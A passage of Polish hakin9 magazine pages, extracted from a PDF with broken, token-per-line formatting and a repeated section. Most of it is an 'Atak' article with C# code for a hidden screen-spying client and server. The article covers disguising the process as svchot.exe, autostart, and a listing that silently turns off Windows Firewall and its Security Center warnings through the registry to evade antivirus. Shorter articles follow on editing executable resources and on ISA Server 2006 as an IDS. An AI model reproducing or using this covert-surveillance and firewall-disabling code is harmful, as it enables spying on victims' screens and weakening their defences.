WindowState

 ustawiamy na 

Minimized

. 

W zasadzie moglibyśmy napisać rów-
nież  aplikację  konsolową,  która  nie 
posiadałaby  okna.  Wybrałem  jed-
nak aplikację Windows Forms, ponie-
waż chciałem, aby program mógł być 
później dowolnie modyfikowany – np. 

poprzez  dodawanie  nowych  kontro-
lek  do  formy.  Program  ten  powinien 
również uruchamiać się w momencie 
startu systemu. 

Metoda dodająca odpowiedni wpis 

do  rejestru  systemowego,  który  za-
pewni  automatyczne  uruchamianie 
aplikacji,  została  już  zaprezentowana 
w  artykule  C#.NET.  Podsłuchiwanie 
klawiatury, hakin9 1/2008. Sam proces 
można w prosty sposób ukryć poprzez 
nazwanie  programu  np.  svchot.exe. 
Program  można  również  spróbować 
uruchomić w trybie usługi. 

Pozostaje  jeszcze  jedna,  ważna 

kwestia:  reakcja  firewalla  zainstalo-
wanego w systemie na próbę stworze-
nia serwera, a co za tym idzie otwarcia 
portu  i  nasłuchiwania  na  nim.  Ponie-

waż jest to bardzo szeroki temat, do-
bry na osobny artykuł, skupimy się je-
dynie na firewallu systemowym, który 
jest używany przez bardzo wielu użyt-
kowników.  Aby  go  wyłączyć  wystar-
czy  zmienić  wartość 

EnableFirewall

 

znajdującą  się  w  kluczu  o  nazwie 

H K E Y _ L O C A L _ M A C H I N E \ S YST E M \
ControlSet001\Services\SharedAccess\
P a r a m e t e r s \ F i r e w a l l P o l i c y \
StandardProfile 

z

  dword:00000001 

na

 

dword:00000000

.  Centrum  Zabezpie-

czeń,  które  obecne  jest  od  premiery 
poprawki SP2, może wyświetlać mo-
nity  o  wyłączeniu  firewalla.  Aby  za-
mknąć  mu  usta,  wystarczy  zmienić 
wartość 

FirewallDisableNotify

,  która 

znajduje  się  w  kluczu 

HKEY _ LOCAL _

MACHINE\SOFTWARE\Microsoft\Security 

Listing 5. 

Wysyłanie danych za pomocą protokołu UDP 

private

 

void

 

SendMessageUDP

(

string

 

msg

)

        

{

            

UdpClient

 

client

 

=

 

new

 

UdpClient

(

serverIP

.

ToString

()

, 

43210

);

            

byte

[]

 

b

 

=

 

Encoding

.

ASCII

.

GetBytes

(

msg

);

            

client

.

Send

(

b

, 

b

.

Length

);

            

client

.

Close

();

        

}

Listing 6. 

Metody zdarzeniowe Load oraz FormClosing

private

 

void

 

Form1_Load

(

object

 

sender

, 

EventArgs

 

e

)

        

{

            

SendMessageUDP

(

localIP

 

+

 

":HI"

);

        

}

private

 

void

 

Form1_FormClosing

(

object

 

sender

, 

FormClosingEventArgs

 

e

)

        

{

            

SendMessageUDP

(

localIP

 

+

 

":BYE"

);

        

}

Listing 7. 

Wyłączenie systemowego firewalla

private

 

void

 

firewallDisable

()

        

{

            

const

 

string

 

keyname1

 

=

 

"SYSTEM

\\

ControlSet001

\\

Services

\

\

SharedAccess

\\

Parameters

\\

FirewallPolicy

\\

StandardProfile"

;

            

const

 

string

 

keyname2

 

=

 

"SOFTWARE

\\

Microsoft

\\

Security Center"

;

            

try

            

{

                

Microsoft

.

Win32

.

RegistryKey

 

rg1

 

=

 

Microsoft

.

Win32

.

Registry

.

L

ocalMachine

.

OpenSubKey

(

keyname1

, 

true

);

                

rg1

.

SetValue

(

"EnableFirewall"

, 

0

);

                

rg1

.

Close

();

                

Microsoft

.

Win32

.

RegistryKey

 

rg2

 

=

 

Microsoft

.

Win32

.

Registry

.

L

ocalMachine

.

OpenSubKey

(

keyname2

, 

true

);

                

rg2

.

SetValue

(

"FirewallDisableNotify"

, 

1

);

                

rg2

.

Close

();

            

}

            

catch

 

{}

        

}

hakin9 Nr 2/2008

www.hakin9.org

Atak

34

Center

.  Odpowiedni  kod  realizujący 

te  zadania  przedstawiony  został  na 
Listingu  7.  Jego  wywołanie  najlepiej 
umieścić w konstruktorze klasy 

Form1

 

lub w metodzie zdarzeniowej dla zda-
rzenia 

Load

 formy. Sam sposób prze-

prowadzania operacji na rejestrze zo-
stał również opisany w cytowanym po-
wyżej artykule.

Próba  modyfikacji  rejestru  nie 

uda się, jeśli nie mamy odpowiednich 
praw.  Jednak  ilu  jest  użytkowników 
systemu Windows, którzy na co dzień 
korzystają z konta o prawach admini-
stratora? Można również zmienić ten 
program  tak,  aby  udawał  jakąś  inną 
aplikację.  W  ten  sposób  użytkownik 
może  zignorować  ewentualne  moni-
ty pochodzące od firewalla i pozwolić 
na  komunikację  sieciową.  Programy 
antywirusowe  nie  powinny  zgłaszać 
zagrożenia  podczas  działania  klien-
ta (jak i w trakcie skanowania jego pli-
ku wykonywalnego), ponieważ jest to 
standardowa aplikacja.

Pora stworzyć serwer

Rozpoczynamy  kolejny  projekt  Win-
dows  Forms,  który  będzie  serwe-
rem  dla  napisanego  przed  chwi-
lą  klienta.  Na  początek  zbuduje-
my  interfejs  graficzny  użytkownika. 
W  tym celu do projektu dodajemy kon-
trolkę 

pictureBox1

,  na  której  będzie-

my wyświetlać pobrany zrzut ekranu. 
Na  formę  wrzucamy  również  kontro-
lkę 

listBox1

,  przeznaczoną  do  prze-

chowywania  listy  wszystkich  aktyw-
nych klientów. Dodajemy jeszcze pole 
edycyjne 

textBox1

, które będzie prze-

chowywać adres IP serwera oraz po-
le 

numericUpDown1

,  które  posłuży  do 

wyboru  portu.  Na  koniec  dodajemy 
przycisk 

button1

  –  będzie  on  inicjo-

wał  zdalny  zrzut  ekranu.  Nasz  ser-
wer,  podobnie  jak  klient,  będzie  ob-
sługiwał połączenia w osobnych wąt-
kach.  Dzięki  temu  interfejs  użytkow-
nika  będzie  stale  dostępny.  Założyli-
śmy  sobie  na  początku,  że  informa-
cje  o  aktywnych  klientach  przesyłać 
będziemy przy użyciu protokołu UDP. 
Oczekiwanie na zgłoszenia od klien-
tów  zrealizujemy  w  osobnym  wątku. 
Do  jego  obsługi  dodajemy  kompo-
nent 

backgroundWorker1

.  Zanim  opro-

gramujemy jego metodę 

DoWork

, musi-

Listing 8. 

Bezpieczne odwoływanie się do kontrolek formy z poziomu 

innego wątku

delegate

 

void

 

SetTextCallBack

(

string

 

tekst

);

        

private

 

void

 

SetText

(

string

 

tekst

)

{

    

if

 

(

listBox1

.

InvokeRequired

)

    

{

        

SetTextCallBack

 

f

 

=

 

new

 

SetTextCallBack

(

SetText

);

        

this

.

Invoke

(

f

, 

new

 

object

[]

 

{

 

tekst

 

}

);

    

}

    

else

    

{

        

this

.

listBox1

.

Items

.

Add

(

tekst

);

    

}

}

delegate

 

void

 

RemoveTextCallBack

(

int

 

pozycja

);

        

private

 

void

 

RemoveText

(

int

 

pozycja

)

{

    

if

 

(

listBox1

.

InvokeRequired

)

    

{

        

RemoveTextCallBack

 

f

 

=

 

new

 

RemoveTextCallBack

(

RemoveText

);

        

this

.

Invoke

(

f

, 

new

 

object

[]

 

{

 

pozycja

 

      

}

);

    

}

    

else

    

{

        

listBox1

.

Items

.

RemoveAt

(

pozycja

);

    

}

}

Listing 9. 

Metoda konstruująca listę aktywnych klientów

private

 

void

 

backgroundWorker1_DoWork

(

object

 

sender

, 

DoWorkEventArgs

 

e

)

        

{

            

IPEndPoint

 

hostIP

 

=

 

new

 

IPEndPoint

(

IPAddress

.

Any

, 

0

);

            

UdpClient

 

client

 

=

 

new

 

UdpClient

(

43210

);

            

while

 

(

true

)

            

{

                

Byte

[]

 

b

 

=

 

client

.

Receive

(

ref

 

hostIP

);

                

string

 

data

 

=

 

Encoding

.

ASCII

.

GetString

(

b

);

                

string

[]

 

cmd

 

=

 

data

.

Split

(

new

 

char

[]

 

{

 ':' 

}

);

                

if

 

(

cmd

[

1

]

 

==

 

"HI"

)

                

{

                    

foreach

(

string

 

s

 

in

 

listBox1

.

Items

)

                        

if

 

(

s

 

==

 

cmd

[

0

])

                        

{

                            

MessageBox

.

Show

(

"Próba nawiązania połączenia z "

 

+

 

cmd

[

0

]

 

+

 

" odrzucona ponieważ na liście istnieje już 

taki wpis"

);

                            

return

;

                        

}

                    

this

.

SetText

(

cmd

[

0

]);

                

}

                

if

 

(

cmd

[

1

]

 

==

 

"BYE"

)

                

{

                    

for

 

(

int

 

i

 

=

 

0

;

 

i

 

<

 

listBox1

.

Items

.

Count

;

 

i

++)

                        

if

 

(

listBox1

.

Items

[

i

]

.

ToString

()

 

==

 

cmd

[

0

])

                            

this

.

RemoveText

(

i

);

                

}

                    
            

}

        

}

Podglądanie pulpitu

hakin9 Nr 2/2008

35

my jeszcze stworzyć dwie metody po-
mocnicze, za pomocą których będzie-
my odwoływać się do kontrolek formy 
z poziomu innego wątku.

Odwoływanie się 

do kontrolek formy

Wątek  związany  z  komponentem 

backgroundWorker1

  będzie  potrzebo-

wał  dostępu  do  kontrolek  znajdują-
cych się na formie serwera, które zo-
stały  stworzone  w  wątku  głównym 
aplikacji. Bezpośrednia próba odwo-
łania się do tych kontrolek z poziomu 
innego  wątku  może  zakończyć  się 
dla  naszej  aplikacji  błędem,  ponie-
waż do tej samej kontrolki może jed-
nocześnie  odwoływać  się  inny  wą-
tek (np. główny). Musimy więc stwo-
rzyć mechanizm, który umożliwi nam 
zmianę wpisów w kontrolce 

listBox1

. 

Skorzystamy z mechanizmu delega-
cji oraz metody 

Invoke

, która wykona 

skonstruowaną przez nas delegację 
w  wątku,  w  którym  kontrolki  zosta-
ły utworzone. Potrzebujemy metody 
dodającej wpis do listy 

ListBox1

 oraz 

metody  usuwającej  wpis  z  tej  listy. 
Na  Listingu  8  zamieszczony  został 
kod metod 

SetText

 oraz 

RemoveText

, 

które służą właśnie do tych celów. 

Lista aktywnych 

klientów

Po  utworzeniu  metod  umożliwiają-
cych  bezpieczne  odwoływanie  się 
do kontrolek znajdujących się na for-
mie  z  poziomu  innego  wątku,  może-
my przystąpić do konstruowania listy 
aktywnych  klientów.  Przypominam, 
że  klient  w  momencie  uruchomie-
nia  oraz  wyłączenia  wysyła  komuni-
kat UDP do serwera o treści 

adresIP:

komunikat

. Po stronie serwera musimy 

ten komunikat odczytać i dodać odpo-
wiedni wpis do kontrolki 

listBox1

 (lub 

usunąć  go  z  niej).  Niech  serwer  na-
słuchuje  na  porcie  43210.  Dla  kom-
ponentu 

backgroundWorker1

  tworzy-

my metodę 

DoWork

 (Listing 9). Do kon-

struktora klasy 

UdpClient

 przekazuje-

my numer portu i za pomocą metody 

Receive

  odczytujemy  dane,  jakie  wy-

słał nam klient. Metoda ta jako para-
metr  przyjmuje  referencję  adresu  IP 
hosta wysyłającego dane, zwraca na-
tomiast dane w postaci tablicy danych 

hakin9 Nr 2/2008

www.hakin9.org

Atak

36

typu  byte.  Metoda  Split  klasy  String 
umożliwia rozdzielenie ciągu znaków 
ze względu na konkretny znak sepa-
ratora  –  w  naszym  przypadku  jest 
to  dwukropek.  Jeżeli  po  adresie  IP 
w  otrzymanym  komunikacje  odczy-
tamy  ciąg  HI,  wówczas  dopisujemy 
do listy 

listBox1

 adres IP klienta. Je-

żeli  treścią  komunikatu  będzie 

BYE

, 

to usuwamy ten adres z listy.

Pobieranie 

zrzutu ekranu

Pobieranie  zrzutu  ekranu  zrealizu-
jemy  w  osobnym  wątku.  W  tym  ce-
lu  do  projektu  dodajemy  komponent 

backgroundWorker2

, który będzie odpo-

wiedzialny za oczekiwanie na nadcho-
dzący od klienta zrzut oraz jego pobra-
nie.  Na  początek  tworzymy  metodę 
zdarzeniową 

Click

  kontrolki 

button1

. 

Będzie  ona  odczytywała  adres  IP 
klienta, który zaznaczony jest na liście 

listBox1

, wysyłała komendę 

##shot##

 

oraz  uruchamiała  wątek  związany 

z  komponentem 

backgroundWorker2

 

(Listing  10).  Tradycyjnie  do  przesła-
nia komendy do klienta użyjemy klasy 

TcpClient

  oraz  strumienia  sieciowe-

go. Dodatkowy wątek może być uru-
chomiony jedynie wtedy, kiedy nie jest 
już zajęty odbieraniem innego zrzutu 
ekranu. Możemy to sprawdzić za po-
mocą  własności 

IsBusy

.  W  kolejnym 

kroku  tworzymy  metodę  zdarzenio-
wą DoWork dla komponentu backgro-
undWorker2.  Tworzymy  tam  egzem-
plarz  klasy 

TcpListener

,  który  ocze-

kuje  na  zrzut  ekranu.  Podobnie,  jak 
w przypadku klienta (Listing 3), musimy 
wykonać kilka standardowych kroków. 
Po  pierwsze,  do  konstruktora  kla-
sy  przekazujemy  adres  IP  oraz  nu-
mer  portu,  na  jakim  ma  działać 
uruchomiony  serwer  (np.  1978). 
Następnie 

wywołujemy 

metodę 

Start

  w  celu  inicjalizacji  serwera. 

W  kolejnym  kroku  używamy  metody 

AcceptTcpClient

,  która  zwraca  nam 

obiekt  klasy 

TcpClient

.  Posłuży  nam 

on  następnie  do  stworzenia  strumie-
nia  sieciowego,  z  którego  możemy 
odczytać już dane. Otrzymany obraz 
wrzucamy  do  kontrolki 

pictureBox1

. 

W ten sposób serwer został stworzony 
i uruchomiony. Można go oczywiście 
rozszerzyć o kolejne funkcje, takie jak 
zapisywanie zrzutów ekranu do pliku 
itd. Pozostawiam to Czytelnikowi.

Podsumowanie

W  powyższym  artykule  starałem  się 
przekazać jak najwięcej podstaw do-
tyczących programowania sieciowego 
na platformie .NET przy użyciu proto-
kołów TCP i UDP. Dane, które przesy-
ła się przez sieć, bez względu na ich 
źródło  zamieniamy  na  tablicę  bajtów 
i za pomocą strumieni sieciowych od-
czytujemy bądź zapisujemy. Projekty 
stworzone w tym artykule mogą sta-
nowić podstawę dla bardziej rozbudo-
wanych aplikacji.  l

O autorze

Sławomir Orłowski – doktorant na Wydziale Fizyki, Astronomii i Informatyki Stosowa-
nej UMK w Toruniu. Zajmuje się dynamiką molekularną oraz bioinformatyką. Ma do-
świadczenie w programowaniu w językach C++, Delphi, Fortran, Java i Tcl. Strona do-
mowa: http://www.fizyka.umk.pl/~bigman. Kontakt z autorem: bigman@fizyka.umk.pl

Listing 10. 

Pobieranie zrzutu ekranu w osobnym wątku

private

 

void

 

button1_Click

(

object

 

sender

, 

EventArgs

 

e

)

        

{

            

if

 

(

listBox1

.

SelectedIndex

 

==

 

-

1

)

                

return

;

            

try

            

{

                

TcpClient

 

client

 

=

 

new

 

TcpClient

(

listBox1

.

Items

[

listBox1

.

Sel

ectedIndex

]

.

ToString

()

, 

1978

);

                

NetworkStream

 

ns

 

=

 

client

.

GetStream

();

                

byte

[]

 

b

 

=

 

new

 

byte

[

8

];

                

b

 

=

 

Encoding

.

ASCII

.

GetBytes

(

"##shot##"

);

                

ns

.

Write

(

b

, 

0

, 

b

.

Length

);

                

if

 

(

backgroundWorker2

.

IsBusy

 

==

 

false

)

                    

backgroundWorker2

.

RunWorkerAsync

();

                

else

                    

MessageBox

.

Show

(

"Nie można teraz zrealizować zrzutu 

ekranu"

);

            

}

            

catch

            

{

                

MessageBox

.

Show

(

"Błąd: Nie można nawiązać połączenia"

);

            

}

      

        

}

private

 

void

 

backgroundWorker2_DoWork

(

object

 

sender

, 

DoWorkEventArgs

 

e

)

        

{

            

TcpListener

 

server2

 

=

 

new

 

TcpListener

(

IPAddress

.

Parse

(

textBox1

.

T

ext

)

, 

(

int

)

numericUpDown1

.

Value

);

            

server2

.

Start

();

            

TcpClient

 

client2

 

=

 

server2

.

AcceptTcpClient

();

            

NetworkStream

 

ns

 

=

 

client2

.

GetStream

();

            

byte

[]

 

imageByte

;

            

using

 

(

BinaryReader

 

br

 

=

 

new

 

BinaryReader

(

ns

))

            

{

                

int

 

imageSize

 

=

 

br

.

ReadInt32

();

                

imageByte

 

=

 

br

.

ReadBytes

(

imageSize

);

            

}

            

using

 

(

MemoryStream

 

ms

 

=

 

new

 

MemoryStream

(

imageByte

))

            

{

                

Image

 

img

 

=

 

Image

.

FromStream

(

ms

);

                

pictureBox1

.

Image

 

=

 

img

;

            

}

            

server2

.

Stop

();

        

}

www.hakin9.org

hakin9 Nr 2/2008

38

Atak

W 

plikach  wykonywalnych  znajdują 
się  instrukcje  dla  procesora,  dane 
(np. wartości tablic) i zasoby. Zaso-

bami mogą być następujące rzeczy:

•   bitmapy (np. logo programu),
•   ikony  (prawie  każdy  plik  wykonywalny  po-

siada swoją ikonę; program może posiadać 
kilka ikon),

•   niestandardowe kursory myszy,
•   dłuższe łańcuchy znaków,
•   okna dialogowe,
•   menu,
•   informacje o skrótach klawiaturowych,
•   szczegółowe informacje o pliku (nazwa fir-

my, nazwa programu, wersja programu, in-
formacje o licencji, informacja o wersji języ-
kowej programu).

Edycja  zasobów  to  bardzo  ciekawe  zagad-
nienie. Po pierwsze: można zmienić wygląd 
ulubionego  programu  (np.  podmienić  grafi-
ki,  pozmieniać  wygląd  formularzy  i  menu, 
a  także  zmienić  skróty  klawiaturowe).  Dru-
gie interesujące zastosowanie to możliwość 
wyciągnięcia np. ikon lub grafik z dowolnego 
pliku wykonywalnego.

Niestety, nie wszystkie pliki wykonywalne posia-
dają sporo zasobów. Przykładowo, kiedy napi-
szemy program w języku Visual Basic, zobaczy-
my, że formularze, menu i bitmapy nie są zapisy-
wane jako zasoby – możliwości edycyjne takich 
plików wykonywalnych są więc mniejsze.

Uwaga!  Przed  edycją  jakiegokolwiek  pliku 

wykonaj jego kopię zapasową!
Zanim  zaczniesz  edytować  pliki,  musisz  się 
upewnić,  czy  nie  są  skompresowane,  gdyż 
w  skompresowanych  plikach  EXE  zazwyczaj 

Edycja zasobów w plikach 

wykonywalnych

Damian Daszkiewicz

stopień trudności

W artykule Luki w plikach wykonywalnych (hakin9 11/2007) 

opisano, w jaki sposób modyfikować pliki wykonywalne 

za pomocą edytora plików binarnych. Jednak taki edytor nie 

pozwala na edytowanie bitmap, kursorów ani okien dialogowych. 

Z pomocą przychodzą programy pozwalające edytować zasoby 

w plikach wykonywalnych.

Z artykułu dowiesz się

•   jak przeglądać, eksportować i edytować zasoby 

w plikach wykonywalnych,

•   jak zmieniać właściwości kontrolek w urucho-

mionych programach,

•   jak zabezpieczyć się przed grzebaniem w pli-

kach wykonywalnych.

Co powinieneś wiedzieć

•   znać podstawy dowolnego języka programowa-

nia,

•   znać podstawy WinAPI.

Edycja zasobów w plikach wykonywalnych

hakin9 Nr 2/2008

www.hakin9.org

39

zasoby są spakowane. Jeśli plik jest 
skompresowany, to należy go rozpa-
kować.  Najpopularniejszym  progra-
mem  do  kompresji  plików  wykony-
walnych jest darmowy program UPX. 
Aby rozpakować dany plik, skompre-
sowany  programem  UPX,  należy 
z linii komend wpisać polecenie 

upx 

<nazwa pliku> -d

Przegląd zasobów za 

pomocą Resource Hacker

Aplikacja Resource Hacker to najpo-
pularniejszy  program  do  przegląda-
nia i edytowania zasobów znajdują-
cych  się  w  plikach  wykonywalnych. 
Resource Hacker obsługuje 32-bito-
we pliki wykonywalne przeznaczone 
dla systemu operacyjnego Windows 
95  (i  nowszych).  Niestety,  Resour-
ce Hacker nie obsługuje 16-bitowych 
plików wykonywalnych (czyli dla DO-
Sa i Windows 3.x). Jeśli chcesz edy-
tować zasoby w 16-bitowych plikach 
wykonywalnych przeznaczonych dla 
Windows 3.x, musisz zaopatrzyć się 
w program eXeScope, który jest ko-
mercyjny  i  posiada  mniejsze  możli-
wości niż Resource Hacker.

Edycja ikon, kursorów i 

bitmap

Otwórz w programie Resource Hac-
ker  dowolny  plik  wykonywalny.  Wy-
gląd aplikacji przedstawia Rysunek 1.
Po  lewej  stronie  znajduje  się  drze-
wo, w którym są wypisane wszystkie 
zasoby znajdujące się w pliku wyko-
nywalnym,  podzielone  na  kategorie 
według  typów.  Przykładowo  rozwi-
jając gałąź Icon możesz przeglądać 
wszystkie ikony. Jeśli dana ikona się 
Tobie spodoba, to możesz ją wyeks-
portować  do  pliku  w  formacie  ICO 
– w tym celu należy wybrać następu-
jącą  pozycję  z  menu:  Action->Save 
[Icon : 1 : 1045] (w zależności od te-

go, jaki plik binarny otworzyłeś i któ-
rą  ikonę  wybrałeś,  liczby  mogą  być 
inne). W podobny sposób można za-
pisać bitmapy i kursory.

Jeśli któraś ikona nie podoba się 

Tobie, możesz ją zmienić. W tym ce-
lu należy z menu wybrać następują-
cą  pozycję:  Action->Replace  Icon, 
a  następnie  wskazać  na  dysku  do-
wolny plik ICO. 

Edycja menu

Listing  1.  przedstawia  przykładowy 
kod,  w  którym  jest  zapisane  menu. 
Z pozoru edycja menu nie wydaje się 
zbyt  interesująca,  jest  w  niej  jednak 
pewien  niuans.  Otóż  w  prawie  każ-
dej  pozycji  występuje  znak  &.  Znak 
ten oznacza, że następna litera w me-
nu  jest  podkreślona.  Jeśli  w  danym 
programie  w  menu  Edycja  jest  pod-
kreślona litera E, to można owo me-
nu  rozwinąć  naciskając  kombinację 
klawiszy ALT+E. Jest to bardzo przy-
datna  funkcjonalność,  gdyż  bez  po-
trzeby korzystania z myszy można wy-
brać z menu dowolną pozycję. Załóż-
my, że posiadasz program, w którym 
kombinacja  ALT+E  rozwija  inne  me-
nu niż Edycja. Można to zmienić ko-
rzystając z programu Resource Hac-
ker. W tym celu należy w odpowied-
niej pozycji menu przed żądaną literą 
wstawić znak &. Po dokonaniu zmian 
należy  w  programie  Resource  Hac-

ker  kliknąć  przycisk  Compile  Script. 
Dopiero  ta  czynność  spowoduje  za-
pisanie  naszych  modyfikacji.  W  ten 
sposób  można  w  dowolnej  aplikacji 
ustawić  skróty  klawiaturowe  według 
własnych potrzeb.

Edycja okien dialogowych

Program  Resource  Hacker  pozwa-
la na edytowanie okien dialogowych. 
Po  rozwinięciu  gałęzi  Dialog  można 
przeglądać  i  edytować  okna  dialo-
gowe. Po wybraniu dowolnego okna 
dialogowego  oprócz  kodu,  jaki  jest 
potrzebny do jego stworzenia, pojawi 
się również wygląd owego okna dia-
logowego  (przykład  takiego  podglą-
du przedstawia Rysunek 2). Można w 
dowolny sposób przemieszczać kon-
trolki,  zmieniać  ich  rozmiar  (można 

Listing 1. 

Przykładowe menu zapisane w pliku wykonywalnym

106

 

MENU

LANGUAGE

 

LANG_POLISH

, 

0x1

{

POPUP

 

"&Edycja"

{

   

MENUITEM

 

"&Kopiuj

\t

Ctrl+C"

,  

300

   

MENUITEM

 

"Wkl&ej

\t

Ctrl+V"

,  

301

}

POPUP

 

"&Widok"

{

   

MENUITEM

 

"&Standardowy"

,  

305

   

MENUITEM

 

"&Naukowy"

,  

304

   

MENUITEM

 

SEPARATOR

   

MENUITEM

 

"&Grupowanie cyfr"

,  

303

}

POPUP

 

"Pomo&c"

{

   

MENUITEM

 

"&Tematy Pomocy "

,  

317

   

MENUITEM

 

SEPARATOR

   

MENUITEM

 

"Kalkulator - i&nformacje"

,  

302

}
}

Rysunek 1. 

Wygląd programu 

Resource Hacker

Rysunek 2. 

Przykładowe okno 

dialogowe w Resource Hacker

Edycja zasobów w plikach wykonywalnych

hakin9 Nr 2/2008

www.hakin9.org

41

na  zakładce  Digger  możemy  obej-
rzeć wszystkie aktualnie uruchomio-
ne  okna  dialogowe.  Zakładka  Tree 
pokazuje  zaś  informacje  o  wszyst-
kich  oknach  dialogowych  w  formie 
drzewa – również o tym, z jakich kon-
trolek składa się konkretne okienko.

Jak się przed tym 

bronić?

Pisząc  program  musisz  przewidzieć, 
że  użytkownicy  mogą  edytować  za-
soby  w  pliku  wykonywalnym.  Jeśli 
chcesz  się  przed  tym  obronić,  pole-
cam skompresowanie pliku dowolnym 
programem (najlepiej jakimś mniej po-

pularnym,  wtedy  utrudnione  będzie 
znalezienie  programu  do  dekompre-
sji).  Ewentualnie  można  skorzystać 
z płatnego programu AsProtect.

Jeśli  napisałeś  program,  który 

w wersji demonstracyjnej różni się od 
pełnej wersji tym, że przycisk do za-
pisania  projektu  stworzonego  przez 
użytkownika  jest  nieaktywny,  musisz 
przemyśleć jakiś mechanizm ochrony 
przed  programem  WinDowse.  Przy-
kładowo  sprawdzenie  faktu  rejestra-
cji  programu  podczas  uruchamiania 
i  późniejsza  deaktywacja  przycisku 
Zapisz  projekt  jeśli  aplikacja  nie  jest 
zarejestrowana,  nie  będzie  w  tym 
wypadku  wystarczające.  Dodatkowa 
kontrola powinna mieć miejsce w mo-
mencie, gdy użytkownik kliknie przy-
cisk  Zapisz  projekt  –  kiedy  program 
jest  w  wersji  demonstracyjnej,  powi-
nien  pojawić  się  komunikat,  że  dana 
opcja jest dostępna tylko w wersji za-
rejestrowanej.

Podsumowanie

Edytując pliki wykonywalne za pomo-
cą programu Resource Hacker, moż-

na się dowiedzieć wielu interesujących 
rzeczy związanych z ich budową. Na-
byte  umiejętności  mogą  się  przydać 
podczas pisania własnych programów 
np. w MASMie lub w Visual C++. Nato-
miast program WinDowse pozwoli do-
wiedzieć się, w jaki sposób okna dia-
logowe i kontrolki są traktowane przez 
system operacyjny. l

O autorze

Damian Daszkiewicz jest samoukiem 
od wielu lat interesującym się informa-
tyką  i  e-biznesem.  Obecnie  studiuje 
na Politechnice Rzeszowskiej na kie-
runku  Informatyka.  W  roku  2003  wy-
dawnictwo Helion wydało jego książ-
kę:  Vademecum  hakera.  Edycja  pli-
ków binarnych. Kontakt z autorem: 
damian@daszkiewicz.net.

Rysunek 4. 

Program WinDowse 

R

E

K

L

A

M

A

Edycja zasobów w plikach wykonywalnych

hakin9 Nr 2/2008

www.hakin9.org

41

na  zakładce  Digger  możemy  obej-
rzeć wszystkie aktualnie uruchomio-
ne  okna  dialogowe.  Zakładka  Tree 
pokazuje  zaś  informacje  o  wszyst-
kich  oknach  dialogowych  w  formie 
drzewa – również o tym, z jakich kon-
trolek składa się konkretne okienko.

Jak się przed tym 

bronić?

Pisząc  program  musisz  przewidzieć, 
że  użytkownicy  mogą  edytować  za-
soby  w  pliku  wykonywalnym.  Jeśli 
chcesz  się  przed  tym  obronić,  pole-
cam skompresowanie pliku dowolnym 
programem (najlepiej jakimś mniej po-

pularnym,  wtedy  utrudnione  będzie 
znalezienie  programu  do  dekompre-
sji).  Ewentualnie  można  skorzystać 
z płatnego programu AsProtect.

Jeśli  napisałeś  program,  który 

w wersji demonstracyjnej różni się od 
pełnej wersji tym, że przycisk do za-
pisania  projektu  stworzonego  przez 
użytkownika  jest  nieaktywny,  musisz 
przemyśleć jakiś mechanizm ochrony 
przed  programem  WinDowse.  Przy-
kładowo  sprawdzenie  faktu  rejestra-
cji  programu  podczas  uruchamiania 
i  późniejsza  deaktywacja  przycisku 
Zapisz  projekt  jeśli  aplikacja  nie  jest 
zarejestrowana,  nie  będzie  w  tym 
wypadku  wystarczające.  Dodatkowa 
kontrola powinna mieć miejsce w mo-
mencie, gdy użytkownik kliknie przy-
cisk  Zapisz  projekt  –  kiedy  program 
jest  w  wersji  demonstracyjnej,  powi-
nien  pojawić  się  komunikat,  że  dana 
opcja jest dostępna tylko w wersji za-
rejestrowanej.

Podsumowanie

Edytując pliki wykonywalne za pomo-
cą programu Resource Hacker, moż-

na się dowiedzieć wielu interesujących 
rzeczy związanych z ich budową. Na-
byte  umiejętności  mogą  się  przydać 
podczas pisania własnych programów 
np. w MASMie lub w Visual C++. Nato-
miast program WinDowse pozwoli do-
wiedzieć się, w jaki sposób okna dia-
logowe i kontrolki są traktowane przez 
system operacyjny. l

O autorze

Damian Daszkiewicz jest samoukiem 
od wielu lat interesującym się informa-
tyką  i  e-biznesem.  Obecnie  studiuje 
na Politechnice Rzeszowskiej na kie-
runku  Informatyka.  W  roku  2003  wy-
dawnictwo Helion wydało jego książ-
kę:  Vademecum  hakera.  Edycja  pli-
ków binarnych. Kontakt z autorem: 
damian@daszkiewicz.net.

Rysunek 4. 

Program WinDowse 

R

E

K

L

A

M

A

www.hakin9.org

hakin9 Nr 2/2008

42

Obrona

S

ystemy  wykrywania  włamań  (ang.  In-
trusion  Detection  Systems)  wspoma-
gają  monitorowanie  naruszeń  bezpie-

czeństwa. Zwykle stosuje się je wraz z zapora-
mi sieciowymi. Ich działanie opiera się w głów-
nej  mierze  na  wykrywaniu  nieprawidłowości 
zarówno  w  sieci,  jak  i  na  pojedynczych  kom-
puterach.

System  IDS  często  zlokalizowany  jest  w 

miejscu,  gdzie  generowany  jest  największy 
ruch  sieciowy  lub  też  na  komputerze,  któ-
ry  przechowuje  ważne  dane.  Celem  syste-
mów  IDS  jest  identyfikacja  działań  zagra-
żających bezpieczeństwu sieci, a co za tym 
idzie – systemów i przetwarzanych przez nie 
danych. Za zdarzenia, które powinien wykryć 
IDS,  uważa  się  zarówno  przygotowania  do 
włamania (np. skanowanie portów, weryfika-
cja istnienia krytycznych aplikacji), jak i pró-
by ataku, także nieudane. Wykrywanie naru-
szeń realizowane jest przez tzw. sondy (sen-
sory), które zbierają informacje o stanie sieci 
i poszczególnych komputerach. Sondy to nic 
innego,  jak  dedykowane  rozwiązania  sprzę-
towe  lub  programowe,  monitorujące  sieć 
(ang.  Network–based  Intrusion  Detection 
System)  lub  komputer  (ang.  Host–based  In-

trusion Detection System). Obecne technolo-
gie pozwalają na połączenie systemów NIDS 
i  HIDS  w  system  hybrydowy,  który  posiada 
odrębny moduł zarządzania sondami. Należy 
nadmienić, że umiejscowienie w sieci syste-

Nowa generacja IDS, czyli 

ISA Server 2006 w testach

Paulina Januszkiewicz

stopień trudności

Dedykowane systemy wykrywania włamań są w stanie 

– w większości przypadków – rozpoznać atak w sposób 

kontekstowy, czyli poprzez buforowanie pakietów, które stają się 

niebezpieczne dopiero, kiedy utworzą określoną grupę. Microsoft 

ISA Server 2006 ma dość ograniczony moduł wykrywania takich 

zachowań, jednak niezależnie od tego posiada rozbudowany 

moduł filtrowania pakietów, co w efekcie uniemożliwia atak.

Z artykułu dowiesz się

•   w jaki sposób ISA Server reaguje na poszcze-

gólne zagrożenia

•   w  jaki  sposób  administrator  informowany  jest 

o wystąpieniu zdarzeń

•   czy ISA Server 2006 sprawdza się jako system 

wykrywania włamań

•   w jaki sposób ISA Server reaguje na anomalia 

ruchu sieciowego

Co powienenieś wiedzieć

•   model OSI/ISO
•   przyporządkowanie  protokołów  komunikacyj-

nych do warstw modelu OSI/ISO

